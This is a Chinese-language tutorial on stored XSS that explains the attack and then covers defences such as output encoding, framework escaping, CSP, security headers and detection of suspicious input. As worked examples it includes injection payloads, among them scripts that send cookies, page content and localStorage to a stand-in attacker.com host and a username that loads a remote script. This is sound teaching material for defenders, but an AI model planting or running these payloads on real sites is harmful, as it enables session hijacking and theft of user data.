存储型 XSS（持久型）

存储型 XSS（持久型）的基本原理

存储型 XSS 攻击是指恶意脚本被永久存储在目标服务器上，当用户访问包含这些脚本的页面时，脚本会被执行。与反射型 XSS 不同，存储型 XSS 不需要诱导用户点击特定链接，因为恶意代码已经持久化在服务器中。

攻击者通常通过表单提交、评论框、用户资料等可输入区域注入恶意脚本。服务器未对输入进行充分过滤和转义，导致脚本被保存到数据库。当其他用户访问包含这些数据的页面时，脚本就会在他们的浏览器中执行。

// 恶意用户提交的评论内容
const maliciousComment = `
  <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie)
  </script>
  这个产品真不错！
`;

常见攻击场景分析

论坛和评论区是最常见的存储型 XSS 攻击目标。攻击者在评论中嵌入脚本，这些脚本会在每个查看该评论的用户浏览器中执行。社交媒体平台的用户资料字段也容易受到攻击，特别是那些允许 HTML 输入的字段。

内容管理系统(CMS)的后台同样面临风险。攻击者可能通过文章内容、页面标题等字段注入恶意代码，影响所有访问该内容的用户。更隐蔽的攻击可能发生在看似无害的字段，如图片的 alt 属性或数据属性中。

<!-- 看似正常的图片标签中的XSS攻击 -->
<img src="logo.png" onerror="alert('XSS')" alt="公司标志" />

<!-- 通过style属性触发的XSS -->
<div style="background-image: url(javascript:alert('XSS'))"></div>

攻击危害的具体表现

存储型 XSS 的危害程度取决于攻击者的意图和被攻击网站的性质。最常见的危害是会话劫持，攻击者窃取用户的会话 cookie 后可以完全接管账户。在金融或电子商务网站，这可能导致资金被盗或欺诈交易。

数据泄露是另一个严重后果，攻击者可以窃取用户的个人信息、支付信息等敏感数据。更复杂的攻击可能重定向用户到钓鱼网站，或利用浏览器漏洞安装恶意软件。

// 窃取用户cookie并发送到攻击者服务器
const stolenData = {
  cookies: document.cookie,
  pageContent: document.documentElement.innerHTML,
  localStorage: JSON.stringify(localStorage)
};

fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(stolenData)
});

防御措施与技术实现

输入验证是防御存储型 XSS 的第一道防线。服务器端应对所有用户输入进行严格验证，只允许预期的字符和格式。白名单方法比黑名单更有效，因为它只允许已知安全的输入。

输出编码同样重要，所有动态内容在渲染到页面之前都应进行适当的编码。不同的上下文需要不同的编码方式，HTML 内容、属性、JavaScript 和 CSS 都需要特殊处理。

// 安全的HTML编码函数
function encodeHTML(str) {
  return str.replace(/[&<>'"]/g, 
    tag => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      "'": '&#39;',
      '"': '&quot;'
    }[tag]));
}

// 使用编码后的内容
document.getElementById('comment').innerHTML = encodeHTML(userInput);

现代前端框架的防护机制

现代前端框架如 React、Vue 和 Angular 都内置了 XSS 防护机制。React 会自动转义所有在 JSX 中嵌入的表达式，防止它们被解释为可执行代码。Vue 的模板语法也提供类似的保护。

然而，这些防护并非万无一失。使用 dangerouslySetInnerHTML 在 React 中或 v-html 指令在 Vue 中会绕过这些保护，开发者必须特别小心这些特性。

// React中的安全渲染
function Comment({ text }) {
  // 自动转义，安全
  return <div>{text}</div>;
}

// 危险的使用方式
function UnsafeComment({ html }) {
  // 可能引入XSS漏洞
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

内容安全策略(CSP)的应用

内容安全策略(CSP)是防御 XSS 的强大工具，它通过白名单控制页面可以加载和执行哪些资源。有效的 CSP 配置可以阻止内联脚本执行，限制外部脚本来源，防止数据泄露。

实施 CSP 需要仔细规划，因为过于严格的策略可能破坏网站功能。建议采用逐步实施的方法，先监控模式报告违规而不阻止，再逐步收紧策略。

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://trusted.cdn.com;
  img-src 'self' data:;
  style-src 'self' 'unsafe-inline';
  report-uri /csp-violation-report;

服务器端与客户端的协同防御

完整的 XSS 防护需要服务器端和客户端的协同工作。服务器应设置安全的 HTTP 头，如 X-XSS-Protection、X-Content-Type-Options 和 X-Frame-Options，提供额外的保护层。

数据库层也应考虑防护措施，比如存储编码后的内容而非原始 HTML。定期安全审计和渗透测试可以帮助发现潜在的漏洞。

// Express中间件设置安全头
app.use((req, res, next) => {
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'SAMEORIGIN');
  next();
});

实际案例分析

2015年，某大型社交平台遭受存储型 XSS 攻击，攻击者通过精心构造的用户名注入了恶意脚本。由于用户名显示在多个页面，导致数百万用户受到影响。攻击脚本窃取了用户的访问令牌，使攻击者能够控制这些账户。

另一个案例发生在电子商务平台，攻击者通过产品评论注入脚本，修改了结账页面的支付信息，将款项重定向到攻击者账户。这些案例凸显了存储型 XSS 可能造成的广泛影响。

<!-- 实际攻击中使用的用户名XSS -->
用户注册名为：
"><script src="https://malicious.site/exploit.js"></script><span title="

持续监测与应急响应

即使实施了防护措施，持续监测 XSS 攻击尝试也至关重要。Web 应用防火墙(WAF)可以检测和阻止常见的攻击模式。日志分析可以帮助识别可疑的输入尝试。

建立有效的应急响应计划，确保在发现漏洞时能快速修复。这包括回滚恶意内容、通知受影响用户和彻底调查攻击途径。

// 记录可疑输入的模式
app.post('/comments', (req, res) => {
  const comment = req.body.comment;
  if (/(<script|javascript:)/i.test(comment)) {
    logSuspiciousActivity(req.ip, comment);
    return res.status(400).send('Invalid input');
  }
  // 处理合法评论
});